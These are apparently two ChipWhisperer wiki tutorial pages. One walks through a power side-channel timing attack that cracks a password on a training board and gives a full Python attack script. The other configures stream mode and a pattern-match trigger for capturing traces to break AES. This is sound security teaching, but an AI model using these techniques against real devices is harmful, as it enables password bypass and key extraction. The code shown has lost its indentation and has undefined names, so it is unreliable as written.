<blockquote><p>[[File:Termconn.png|image]]</p></blockquote></li><br />
<li><p>At this point we need to reset the target device. The easiest way to do this is use the programmer interface, and press the ''Check Signature'' or ''Read Signature'' button. This will reset the target device as part of the signature read operation. You should see some messages come across the terminal emulator window:</p><br />
<blockquote><p>[[File:Checksig_print.png|image]]</p></blockquote><br />
<dl><br />
<dt>Note a few warnings about the terminal emulator:</dt><br />
<dd><ul><br />
<li>The on-board buffer is fairly small, and can be easily overflowed. You may notice a few longer lines become trunicated if printing is too fast!</li><br />
<li>You can uncheck the &quot;Show non-ASCII as hex&quot; to avoid having the <code>0a</code> printed in red. The <code>0a</code> is the hex character for a newline. Many protocols use non-ASCII characters, so to help with debugging it is left enabled by default.</li></ul><br />
</dd></dl><br />
</li><br />
<li><p>We've now got some super-secure system! Let's begin with some exploratory tests - in this case I happened to know the correct password is <code>h0px3</code>.</p><br />
<blockquote><p>'''tip'''</p><br />
<p>In real systems, you may often know ''one'' of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilites. So the assumption that we have access to the password is really just saying we have access to ''a'' password, and will use that knowledge to break the system in general.</p></blockquote></li><br />
<li><p>Using the terminal emulator, write the correct password in, and press <code>&lt;enter&gt;</code>. You should be greeted by a welcome message, and if using the CW-Lite XMEGA target the green LED will illuminate:</p><br />
<p>[[File:Passok.png|image]]</p></li><br />
<li>The system enters an infinite loop for any password entry. Thus you must reset the system, use the ''Programmer Window'' to again perform a ''Check Signature'' or ''Read Signature'' operation.</li><br />
<li>Enter an incorrect password - notice a different message is printed, and if using the CW-Lite XMEGA target the red LED will come on.</li></ol><br />
<br />
== Recording Power Traces ==<br />
Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll get the power measurements to trigger after we send our password to the target. <br />
<br />
<ol style="list-style-type: decimal;"><br />
<li><p>We'll make some changes to the trigger setup of the ChipWhisperer (on the ''Scope Settings'' tab). In particular, ensure you set the following:</p><br />
<blockquote><ul><br />
<li>Offset = 0</li><br />
<li>Timeout set to 5 seconds or greater (to give yourself time when manually testing)</li></ul><br />
<br />
<p>[[File:Timeout_offset.png|image]]</p></blockquote></li><br />
<li><p>Change to the ''Target Settings'' tab, and delete the ''Command'' strings. Those strings are used in the AES attack to send a specific command to the target device. For now we will be manually sending data:</p><br />
<blockquote><p>[[File:Text_targetsettings.png|image]]</p></blockquote></li><br />
<li>Still in the ''Target Settings'' tab, under ''Protocol Version'', change ''Version'' from ''Auto'' to ''1.0''<br />
<li><p>Perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Enter the password <code>h0px3</code> in the terminal window, but ''do not'' yet hit enter.</li><br />
<li>Press the ''Capture 1'' button, and immediately switch to the terminal emulator window and press <code>&lt;enter&gt;</code> to send the password.</li></ol><br />
</blockquote><br />
<p>You must send the password before the timeout occurs -- you can increase the length of the timeout if needed to give yourself more time! If this works you should see the power consumption displayed in the GUI:</p><br />
<blockquote><p>[[File:Trace_manual_pass.png|image]]</p></blockquote></li><br />
<br />
<li><p>Rather than using the manual terminal, let's now use the GUI to automatically send a password try. Switching back to the ''Target Settings'' tab, write <code>h0px3\n</code> into the ''Go Command'' option:</p><br />
<blockquote><p>[[File:Gocorrect.png|image]]</p></blockquote><br />
<p>The ''Go Command'' is sent right after the scope is armed. In this example it means we can capture the power consumption during the password entry phase.</p></li><br />
<li><p>Now perform the following actions:</p><br />
<blockquote><ol style="list-style-type: lower-roman;"><br />
<li>Reset the target device (e.g. by performing the signature check).</li><br />
<li>Press the ''Capture 1'' button.</li></ol><br />
</blockquote><br />
<p>Hopefully this resulted in the same waveform as before! Note the device takes around 1 second to 'boot', so if you are too lightning fast after resetting the device it won't actually be ready to accept the password. You can keep the terminal emulator window open to view the output data.</p></li><br />
<li><p>Play around with the password entered on the ''Go Command'' - try all of the following:</p><br />
<ul><br />
<li><code>h0px3\n</code></li><br />
<li><code>h0px4\n</code></li><br />
<li><code>h0paa\n</code></li><br />
<li><code>haaaa\n</code></li><br />
<li><code>a\n</code></li></ul><br />
<br />
<p>You should notice a distinct change in the password depending how many characters were correct. For example the following shows the difference between passwords of <code>h0px4</code> (which has 4 correct characters) and <code>h0paa</code> (which has 3 correct characters):</p><br />
<blockquote><p>[[File:3vs4.png|image]]</p></blockquote></li></ol><br />
<br />
== Automatic Resets ==<br />
The last step before scripting an entire attack is to figure out how to automatically reset the target device before (or after) each capture. There are two ways to do this, and the following steps take you through two examples of how to accomplish this goal.<br />
<br />
BOTH of these methods use the "Auxilary Modules". See the page [[Auxiliary modules]] for more details.<br />
<br />
Auxiliary modules are small pieces of code that can perform some extra functions during the capture process. The functions inside these Python modules are run before a capture, before the power measurement is armed, before the measurement is triggered, after a single trace is completed, and after an entire capture is finished. We will use an existing auxiliary module to reset the target chip before arming the measurement so that we don't have to manually reset the device.<br />
<br />
=== Reset via Spare IO Lines ===<br />
<br />
TODO - see reset via programming interface for now<br />
<br />
=== Reset via Auxiliary Module ===<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li> Scroll down the list of scripts, and you'll find one labeled "aux_reset_cw1173.py". This script has a simple function of attempting to reset the XMEGA device using the programmer:<br />
<br><br />
[[File:auxreset_test1.png|600px]]<br />
</li><br />
<li>Hit the "Run" button. If you switch to the "Auxilary Module" tab, you'll see it's been added to the list of modules at the specified location.:<br />
<br><br />
[[File:auxreset_test2.png|400px]]<br />
</li><br />
<li>Looking at the code of the script, you can see how this script is using an external module & linking it to a specific auxilary module trigger:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Delay between arming and resetting, in ms<br />
delay_ms = 1000<br />
<br />
# Reset XMEGA device<br />
Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
# Reset AVR<br />
#Resetter = ResetCW1173(pin='pdic', delay_ms=delay_ms)<br />
<br />
# Reset before arming - more stable<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
# Reset after arming - scope can catch entire reset<br />
#aux_list.register(Resetter.delayThenReset, "after_arm")<br />
</syntaxhighlight><br />
<li>You can edit the values required such as reset time & location by changing the script (using an external editor). But an easier method is to insert it into our attack script itself. As a test we'll see if the default values work.</li><br />
<li> Press ''Capture 1''. The target will automatically reset, with the Safe-o-matic 3000 boot sequence appearing in the console. Then, 1 second later, the program will send the password to the target and record a power trace.<br />
</li><br />
</ol><br />
<br />
Now, confirm that you can try different passwords (in ''Target Settings'') and see how the power trace changes when your password has 0, 1, 2... correct characters.<br />
<br />
Once done, use the *Remove* button to get rid of the auxiliary module, as we are going to add it instead to our script.<br />
<br />
== Performing the Timing Attack ==<br />
So far, we've set up our ChipWhisperer to automatically reset the target, send it a password attempt of our choice, and record a power trace while the target processes the password. Now, we'll write a Python script to automatically try different passwords and use these power traces to discover the password stored on the target.<br />
<br />
=== Scripting the Setup ===<br />
Our first step will be to write a script that automatically sets up the ChipWhisperer Capture software with all of the settings we've tested above. We'll do this by modifying an existing script with our own settings.<br />
<br />
<ol style="list-style-type: decimal;"><br />
<li>Make a copy of an existing ChipWhisperer script. The example scripts are located at <code>chipwhisperer\software\chipwhisperer\capture\scripts</code>; for example, the default one for the XMEGA device is called <code>setup_cwlite_xmega.py</code>. Make a copy of this script in the same directory (or copy it somewhere else<br />
</li><br />
<li><p>Rename the script something else - for example, <code>cwlite-passwordcrack.py</code> - and open it for editing. You'll notice that a large chunk of the code is used to set configuration information:</p><br />
<pre><br />
scope.gain.gain = 45<br />
scope.adc.samples = 25000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
</pre><br />
<br />
<p>Those parameters come from the API. You can print for example the scope parameters by running "self.scope" to see various elements:</p><pre><br />
>>> self.scope<br />
cwlite Device<br />
gain = <br />
mode = low<br />
gain = 45<br />
db = 22.50390625<br />
adc = <br />
state = False<br />
basic_mode = rising_edge<br />
timeout = 2<br />
offset = 0<br />
presamples = 0<br />
samples = 25000<br />
decimate = 1<br />
trig_count = 3084728877<br />
clock = <br />
adc_src = clkgen_x4<br />
adc_phase = 0<br />
adc_freq = 29538459<br />
adc_rate = 29538459<br />
adc_locked = True<br />
freq_ctr = 0<br />
freq_ctr_src = extclk<br />
clkgen_src = system<br />
extclk_freq = 10000000<br />
clkgen_mul = 2<br />
clkgen_div = 26<br />
clkgen_freq = 7384615<br />
clkgen_locked = True<br />
trigger = <br />
triggers = tio4<br />
module = basic<br />
io = <br />
tio1 = serial_rx<br />
tio2 = serial_tx<br />
tio3 = high_z<br />
tio4 = high_z<br />
pdid = high_z<br />
pdic = high_z<br />
nrst = high_z<br />
glitch_hp = 0<br />
glitch_lp = 0<br />
extclk_src = hs1<br />
hs2 = clkgen<br />
target_pwr = True<br />
glitch = <br />
clk_src = target<br />
width = 10.15625<br />
width_fine = 0<br />
offset = 10.15625<br />
offset_fine = 0<br />
trigger_src = manual<br />
arm_timing = after_scope<br />
ext_offset = 0<br />
repeat = 1<br />
output = clock_xor<br />
</pre></li><br />
</ol><br />
<br />
<br />
<ol start="4" style="list-style-type: decimal;"><br />
<li><p>Next, append the required commands to clear the simpleserial commands and to enable the automatic resets. Doing so will require two steps: (1) figuring out the target settings and adjusting them, and (2) inserting our code to perform the device reset.</p><br />
<p><br />
Using the console, you can dump parameters of the simpleserial target (assuming you are still connected):<br />
<syntaxhighlight lang=python><br />
>>> target<br />
init_cmd = <br />
key_cmd = k$KEY$\n<br />
input_cmd = <br />
go_cmd = p$TEXT$\n<br />
output_cmd = r$RESPONSE$\n<br />
baud = 38400<br />
protver = <br />
</syntaxhighlight><br />
</p><br />
</li><br />
<br />
<li>You should be able to see how you can simply clear all of the above settings using the script. This would mean adding some lines as follows to the script:<br />
<syntaxhighlight lang=python><br />
target.key_cmd = ''<br />
target.go_cmd = ''<br />
target.output_cmd = ''<br />
</syntaxhighlight><br />
</li><br />
<br />
<li>Remembering the auxilary module, you can also add the lines to perform this task as well to your script:<br />
<syntaxhighlight lang=python><br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
Resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(Resetter.resetThenDelay, "before_trace")<br />
</syntaxhighlight><br />
</li><br />
<br />
<li><p>We will need to set the password guess so we can observe different traces. You can enter the password in the Capture ''Target Settings'' tab, or simply use a command like <code>target.go_cmd = 'h0p3\n'</code>.</p></li><br />
<li>Finally, run the script you made. It should load all settings & on hitting capture-1 you will get a waveform related to the power measurement during the comparison.</li><br />
</ol><br />
<br />
=== Running a Single Capture ===<br />
With our settings prepared, the next step is to use our script to record and analyze a power trace. We need to be able to get the trace data into our Python script so we can analyze it for the timing attack.<br />
<br />
The API allows us to ''press the Capture 1'' button and ''view the power trace'' without using the GUI. There are two relevant commands here. First, we'll need to import ChipWhisperer:<br />
<br />
* <code>import chipwhisperer as cw</code><br />
<br />
Then, we can build our own "capture controller". This controller deals with talking to the scope and target for you. To capture a single trace you could perform the following steps:<br />
<br />
<syntaxhighlight lang=python><br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
</syntaxhighlight><br />
<br />
We want to test these two commands. After the setup portion of your script, add some code similar to the following:<br />
<syntaxhighlight lang=python><br />
#Put this at beginning of script<br />
import chipwhisperer as cw<br />
<br />
#Put this later on after setup happens<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
</syntaxhighlight><br />
<br />
Run your script. The ChipWhisperer should automatically capture one trace and print out some datapoints.<br />
<br />
=== Attacking a Single Letter ===<br />
Now that we can record one power trace, we can start the timing attack. Our goal here is to automatically find the first letter of the Super Secret (tm) password.<br />
<br />
<p>Look at this example of the power traces when 0 and 1 bytes are correct. We can see a clear point that appears to shift forward in time:</p><br />
<blockquote><p>[[File:Passwordcrackerpts.png|image]]</p></blockquote><br />
<p>When we guess the first byte incorrectly, there is a distinct power spike at sample number 153. However, when we guess correctly, the target spends more time processing the password, and this spike moves 72 samples forward. This means that we can check if our first byte is correct by checking this data point: if we're right, it will have an amplitude greater than -0.2. Note the specific point will change for different hardware, and may also change if you use different versions of avr-gcc to compile the target code. The example code here was compiled with WinAVR 20100110, which has avr-gcc 4.3.3. If you view the video version of this tutorial the point numbers are different for example, so be sure to check what they are for your specific system.</p><br />
<br />
Add a loop to your script that does the following:<br />
* Sets the ''Go Command'' to the next character we want to try<br />
* Captures a power trace<br />
* Checks if sample 153 is above -0.2 (fill in the appropriate numbers here)<br />
* Repeats for all characters we want to try<br />
An example of this loop is:<br />
<br />
<syntaxhighlight lang=python><br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace and check data[153]<br />
nextTrace = scope.getLastTrace()<br />
if data[153] > -0.2:<br />
print "Success: " + c <br />
</syntaxhighlight><br />
This script will eventually stop, but you can use Ctrl+C on the command line to kill it. Make sure your script prints "Success: h"!<br />
<br />
=== Attacking the Full Password ===<br />
The last step is to attack the entire password, one letter at a time. The procedure to do this is:<br />
* Start with a blank password string<br />
* Loop through all of the characters we want to try:<br />
** Add the next character to the end of the password<br />
** Test this new candidate password using code similar to the above<br />
** If the new password is correct up to character (1, 2, ..., 5), add it to the end of the password<br />
* Repeat until we've cracked all 5 characters.<br />
<br />
Note that the point of interest is no longer at sample 153. We noticed earlier that this key point moves 72 samples forward for every correct character, so we'll have to check location <code>153</code> for character 0, <code>153 + 72</code> for character 1, and <code>153 + i*72</code> for character <code>i</code>.<br />
<br />
An example of this loop is:<br />
<syntaxhighlight lang=python><br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
After some time, this prints <code>5 characters: h0px3</code> -- it automatically finds the correct password.<br />
<br />
That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:<br />
<br />
* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the printf()'s from the target code, recompile and reprogram, and see how quickly you can do this attack.<br />
* The current script doesn't look for the &quot;WELCOME&quot; message when the password is OK. That is an extension that allows it to crack any size password.<br />
* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt.<br />
<br />
== Conclusion ==<br />
<br />
This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken. In addition you have learned about the scripting support in the ChipWhisperer-Capture software.<br />
<br />
== Appendix: Completed Timing Attack Script ==<br />
The complete tutorial might look like this:<br />
<syntaxhighlight lang=python><br />
"""This script is an example of a timing attack on a simple password checker. <br />
It is the result of Tutorial B3-1 from the ChipWhisperer Wiki.<br />
"""<br />
<br />
import chipwhisperer as cw<br />
from chipwhisperer.capture.auxiliary.ResetCW1173Read import ResetCW1173<br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
aux_list = self.aux_list<br />
except NameError:<br />
pass<br />
<br />
# Set up scope<br />
scope.gain.gain = 45<br />
scope.adc.samples = 2000<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "clkgen"<br />
<br />
# Set up target<br />
target.key_cmd = ""<br />
target.go_cmd = "h0px3\n"<br />
target.output_cmd = ""<br />
<br />
# Set up aux module to reset target before capture<br />
resetter = ResetCW1173(xmega=True, delay_ms=1200)<br />
aux_list.register(resetter.resetThenDelay, "before_trace")<br />
<br />
# Test one capture<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
trace = scope.getLastTrace()<br />
print trace<br />
<br />
# Crack the first letter<br />
password = ''<br />
trylist = 'abcdefghijklmnopqrstuvwxyz0123456789'<br />
<br />
for i in range(5):<br />
for c in trylist:<br />
# Get a power trace using our next attempt<br />
nextPass = password + '{}'.format(c) + "\n"<br />
target.go_cmd = nextPass<br />
cw.captureN(self.scope, self.target, None, self.aux_list, self.ktp, 1)<br />
<br />
# Grab the trace<br />
nextTrace = scope.getLastTrace()<br />
<br />
# Check location 153, 225, etc. If it's too low, we've failed<br />
if nextTrace[153 + 72*i] < -0.2:<br />
continue<br />
<br />
# If we got here, we've found the right letter<br />
password += c<br />
print '{} characters: {}'.format(i+1, password)<br />
break<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_P1_Stream_Mode_and_Advanced_Triggering&diff=3528Tutorial P1 Stream Mode and Advanced Triggering2018-05-08T17:05:54Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has <b>not</b> been updated for v4.0 of ChipWhisperer.}}<br />
<br />
This tutorial will explore the ChipWhisperer Pro's custom trigger and stream features. <br />
<br />
{{TOC|limit=1}}<br />
<br />
<h2>Prerequisites</h2><br />
<p><br />
<br />
This tutorial can only be completed using the [[CW1200_ChipWhisperer-Pro]]. The ChipWhisperer software and its prerequisites should be installed and the [[CW1200_ChipWhisperer-Pro]] and hardware should be connected to each other and your computer. If not, this is the page for you: [[Installing ChipWhisperer]]. This tutorial is an extension of [[Tutorial B1 Building a SimpleSerial Project]] and [[Tutorial B5 Breaking AES (Straightforward)]], which should be completed first for better understanding.<br />
</p><br />
<br />
<h2>Introduction</h2><br />
<p><br />
Unique to the [[CW1200_ChipWhisperer-Pro]]'s more advanced FPGA, the stream feature allows continuous power measurement data streaming, removing the upper limit (due to a smaller FPGA) of total samples possible. This allows to you to continuously stream data for a time period in which you can manually send data to the target to record the power response. You can later find the subsection of sample points in the streamed power trace that correspond to the encryption of data. You can now use a subsection of 128 sample points to create a custom trigger using the sum of absolute differences. This eliminates the need for the target to have code that signals the ChipWhisperer when encryption begins. The subset of points for triggering is chosen by you, so anything is possible... We will explore one possibility in this tutorial.<br />
</p><br />
<br />
<h2>Building the Target Code</h2><br />
<p><br />
We will begin by modifying the <code>simpleserial-aes.c</code> code with a editor of your choice.<br />
</p><br />
<ol><br />
<li>Navigate to the ChipWhisperer installation directory and find the <code>simpleserial-aes</code> folder, the folder is in the <code>...\chipwhisperer\hardware\victims\firmware</code> directory. The beginning of the file path may be different depending on the installation directory.<br />
</li><br />
<li><br />
Copy the <code>simpleserial-aes</code> folder into the same directory and rename it as you see fit. For example: <code>simpleserial-aes-stream</code>.<br />
</li><br />
<li><br />
Now open the <code>simpleserial-aes-stream</code> folder and rename the <code>simpleserial-aes.c</code> file to match the directory name change. For example: <code>simpleserial-aes-stream.c</code><br />
</li><br />
<li><br />
Open the <code>simpleserial-aes-stream.c</code> file in the text editor of your choice and find this section of the code near the top.<br />
<syntaxhighlight lang="c"><br />
/**********************************<br />
* Start user-specific code here. */<br />
<br />
uint8_t get_pt(uint8_t* pt)<br />
{<br />
trigger_high();<br />
aes_indep_enc(pt); /* encrypting the data block */<br />
trigger_low();<br />
simpleserial_put('r', 16, pt);<br />
return 0x00;<br />
}<br />
<br />
/* End user-specific code here. *<br />
********************************/<br />
</syntaxhighlight><br />
</li><br />
<li><br />
Modify this code by commenting out <code>trigger_high();</code> and <code>trigger_low();</code> to remove the signal produced by the target to tell the ChipWhisperer it has started the encryption process. Your c code should look like this:<br />
<syntaxhighlight lang="c"><br />
/**********************************<br />
* Start user-specific code here. */<br />
<br />
uint8_t get_pt(uint8_t* pt)<br />
{<br />
//trigger_high();<br />
aes_indep_enc(pt); /* encrypting the data block */<br />
//trigger_low();<br />
simpleserial_put('r', 16, pt);<br />
return 0x00;<br />
}<br />
<br />
/* End user-specific code here. *<br />
********************************/<br />
</syntaxhighlight><br />
</li><br />
<li><br />
Save this code, and then find the <code>makefile</code> file and open it in a text editor of your choice. Find this piece of code near the top:<br />
<pre><br />
# Target file name (without extension). <br />
# This is the base name of the compiled .hex file.<br />
TARGET = simpleserial-aes<br />
<br />
# List C source files here.<br />
# Header files (.h) are automatically pulled in.<br />
SRC += simpleserial-aes.c <br />
</pre><br />
Change the <code>TARGET = simpleserial-aes</code> line to <code>TARGET = simpleserial-aes-stream</code> and the <code>SRC += simpleserial-aes.c</code> line to <code>SRC += simpleserial-aes-stream.c</code><br />
</li><br />
<li><br />
Open your command line in the <code>simpleserial-aes-stream</code> directory and run the <code>make</code> command for the correct target. For example: for the XMEGA run <code>make PLATFORM=CW303</code>. This will create a <code>.hex</code> file in the same directory. This step requires avr-gcc to be set-up and added to your system path. If you have not done this go back to [[Installing ChipWhisperer]] page under the <b>Required Tools</b> dropdown.<br />
</li><br />
</ol><br />
<br />
<h2>Setting up Stream Mode</h2><br />
<br />
<ol><br />
<li><br />
Next open the ChipWhisperer software. Hopefully you know how to do this by now.<br />
</li><br />
<li><br />
Run the <code>Project > Example Scripts > ChipWhisperer-Lite: AES SimpleSerial on XMEGA</code> script. We will modify some of the settings.<br />
</li><br />
The modifications to the settings will allow us the use stream mode while manually sending a plain text for encryption. We will then look at the stream data and identify when the block encryption takes place and what it looks like.<br />
<li><br />
Under the <b>Scope Settings</b> find the <b>ADC Clock</b> section. Here change the <b>Source</b> setting to <code>CLKGEN x1 via DCM</code>. The <b>ADC Sample Rate</b> field should auto-populate to <b>7.3846 MS/s</b> or a number approximately equal. If the sampling rate is above 10 MS/s the streaming mode will not work as the buffer in the FPGA will overflow.<br />
<br><br />
[[File:ADC Clock.PNG]]<br />
</li><br />
<li><br />
Under the <b>Scope Settings</b> find the <b>Trigger Setup</b> section. Enable <b>Stream Mode</b>. The <b>Mode</b> field needs to be set to <code>low</code> so the sample capture starts right away because trigger line stays at low now that we have removed to code to set it high at the beginning of the encryption process.<br />
<br><br />
[[File:Trigger Setup_1.PNG]]<br />
</li><br />
<li><br />
Under the same section change the <b>Total Samples</b> field to <code>11000000</code>. This will give use a window of approximately 1.5 seconds to send a plain text and capture measurements of the power during encryption.<br />
</li><br />
Note: The <b>Timeout (secs)</b> field needs to be set greater than the time it needs to stream the samples and a little additional time to allow for hardware communication. For example: 11 million samples take about 1.5 seconds at the sampling rate of 7.3MS/s so this field should be set to <code>2</code> seconds. You can set it higher if needed.<br />
<br><br />
[[File:Trigger Setup_2.PNG]]<br />
</ol><br />
<br />
<h2>Capturing the Encryption Process</h2><br />
<br />
<ol><br />
<li><br />
Now open the terminal inside the Chipwhisperer Capture Software: <code>Tools > Terminal</code> and inside the Terminal window press <b>Connect</b>.<br />
<br><br />
[[File:terminal.PNG]]<br />
</li><br />
<li><br />
We will now send a plain text to the target for encryption to test everything is working. For example: <code>pAABBCCDDEEFF00112233445566778899</code>. The target should respond with encrypted text.<br />
<br><br />
[[File:target response.PNG]]<br />
</li><br />
<li><br />
Repeat the previous step but before you send the plain text press capture [[File:Capture One Button.PNG]] and then within 1.5 seconds send the plain text to the target for encryption. Hint: It is easier to do when you already have the plain text ready to send in the terminal and all you have to do is press send. The captured wave form should look like the following:<br />
<br><br />
[[File:Stream Capture.PNG|1000px]]<br />
</li><br />
Note: When pressing capture [[File:Capture One Button.PNG]], the ChipWhisperer automatically sends a plain text to the target. The plain text and response will show up in the terminal window but we are going to ignore this and focus on our manually sent plain text.<br />
</li><br />
Looking at the captured trace you notice that towards the end there is a series of power spikes in the sample data.<br />
<br><br />
[[File:Identifying the Encryption.PNG|800px]]<br />
</li><br />
<li><br />
Zoom into this area and take a closer look at the power measurements. The sample data should look something like this.<br />
<br><br />
[[File:Encryption Process.PNG|800px]]<br />
<br><br />
Here the <span style="color:rgb(0,0,255)>blue</span> box represent the power usage during the communication and transferring of data too and from the target. The left <span style="color:rgb(0,0,255)>blue</span> box encompasses the power measurements when the target receives the plain text and the right <span style="color:rgb(0,0,255)>blue</span> box when the target sends back the encrypted text. The <span style="color:rgb(0,180,0)>green</span> box encompasses the encryption process. <br />
</li><br />
<li><br />
Zoom into the sample points that represent the encryption process. There should be a pattern that repeats ten times, one for each round of the AES-128 encryption.<br />
<br><br />
[[File:Encryption_2.PNG|800px]]<br />
</ol><br />
<br />
<h2>Using a Power Pattern to Activate the Sum of Absolute Differences Trigger</h2><br />
<br />
We are going to use this repeating pattern to allow the [[CW1200_ChipWhisperer-Pro]] to identify when the encryption process occurs and use this to trigger our trace capture process. We can then use these traces to break the AES-128 encryption exactly the same as in [[Tutorial B5 Breaking AES (Straightforward)]].<br />
<br><br />
[[File:Trigger Choice.PNG|800px]]<br />
<br><br />
We will choose the highlighted spike and the surrounding area as our trigger as it is a unique feature that is close to the beginning of the encryption process.<br />
<ol><br />
<li><br />
Under <b>Scope Settings</b> find the <b>SAD Trigger Module</b> section. Here choose the 128 data point range that will be used as the trigger. Hint: You can type in a number that is close to the desired location and then click and drag the range selection box to the final position. The position numbers will be different from the ones in this tutorial because the numbers depend on when the plain text was manually sent. So just adjust the numbers as needed.<br />
[[File:Dragging Selection.PNG|800px]]<br />
<br><br />
</li><br />
<li><br />
When you are satisfied with the position of your trigger points press <b>Set SAD Reference from Current Trace</b> and the currently selected points will be used for the sum of absolute differences comparison carried out to activate the trigger.<br />
</li><br />
</ol><br />
Note: The Sum of Absolute Differences is carried out during the measurement process and when the total sum of absolute differences of all 128 sample points is below the threshold, the trigger is set to high to start the capture of a trace. This allows us to use a specific pattern to initiate the capture process without any other data from the target. The SAD equation is as follows:<br />
<br><br />
<math><br />
SAD <br />
= \sum_{i=1}^{128} |x_{ADC,i} - x_{pattern,i}|<br />
</math><br />
<br />
<ol start="3"><br />
<li><br />
Once you have chosen the points that initialize the trigger you can drag the selection box around and take note of the <b>SAD Reference vs. Cursor</b> value and how it changes. Notice that when the selection cursor is not in the correct spot the SAD is around 10000 or more. Choose a <b>SAD Threshold</b> that will trigger only when the selected pattern is observed. For example: 5000 should work fine (If not adjust as needed).<br />
</li><br />
<li><br />
Under <b>Scope Settings: CW Extra: CW Extra Settings</b> find the <b>Trigger Pins</b> section and set the <b>Trigger Module</b> to <code>SAD Match</code>.<br />
<br><br />
[[File:SAD Trigger.PNG]] <br />
<li><br />
Now we will navigate back to the <b>Trigger Setup</b> section under the <b>Scope Settings</b> and change the <b>Mode</b> to <code>Rising Edge</code>. The <b>Timeout (secs)</b> can be changed to <code>5</code> just to be safe, the <b>Total Samples</b> can be changed back to <code>20000</code> and the <b>Pre-Trigger Samples</b> can be changed to <code>500</code>. Note: <b>Stream Mode</b> should now be turned off.<br />
<br><br />
[[File:Final Capture Setup.PNG]]<br />
</li><br />
We now have everything setup: The SAD Reference points will cause the trigger to be set high as soon as the SAD is below the SAD Threshold of 5000. The ChipWhisperer will record a total of 20000 samples with 500 before the reference points and 19500 during and after. We can test everything is properly setup by pressing the capture one button. You should see the same repeating pattern you saw before that represents the 10 rounds of encryption process. <br />
<li><br />
Since we will be attacking the first round of the encryption process we do not need the other nine rounds. So set the <b>Total Samples</b> back to 3000. This will capture the first round and a bit of the second.<br />
<br><br />
[[File:First Round.PNG|800px]]<br />
<br><br />
<b>Right click</b> the graph widget and press <b>View All</b> (Just in case you forgot) and the wave form should look similar to this:<br />
<br><br />
[[File:First Round Zoom.PNG|800px]]<br />
</li><br />
<li><br />
Now save the project somewhere where you can open it later and press <b>Capture Many</b> [[File:Capture Many Button.PNG]] button. The default of 50 captured traces should be enough to break the encryption.<br />
</li><br />
</ol><br />
<br />
<h2>Breaking the Encryption</h2><br />
<br />
We will now use the analyzer software to break the AES-128 encryption on the target and figure out the key. This section is analogous to [[Tutorial B5 Breaking AES (Straightforward) #Analyzing the Traces|Tutorial B5 Breaking AES (Straightforward)]] section of Tutorial B5. We can also use this setup for a profiling attack similar to [[Tutorial B7 Profiling Attacks (with HW Assumption)]].<br />
<br />
<h2>Conclusion</h2><br />
<br />
In this tutorial we have learned to use two of the [[CW1200_ChipWhisperer-Pro]]'s exclusive features stream mode and SAD Trigger. The stream feature allows us the continually stream and manually send plain text to the target to observe the encryption process. Then 128 sample points that make up a unique feature of the encryption process where chosen to activate the trigger during trace capture. These two features together can be used to break the AES encryption of a device without any help from the target.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
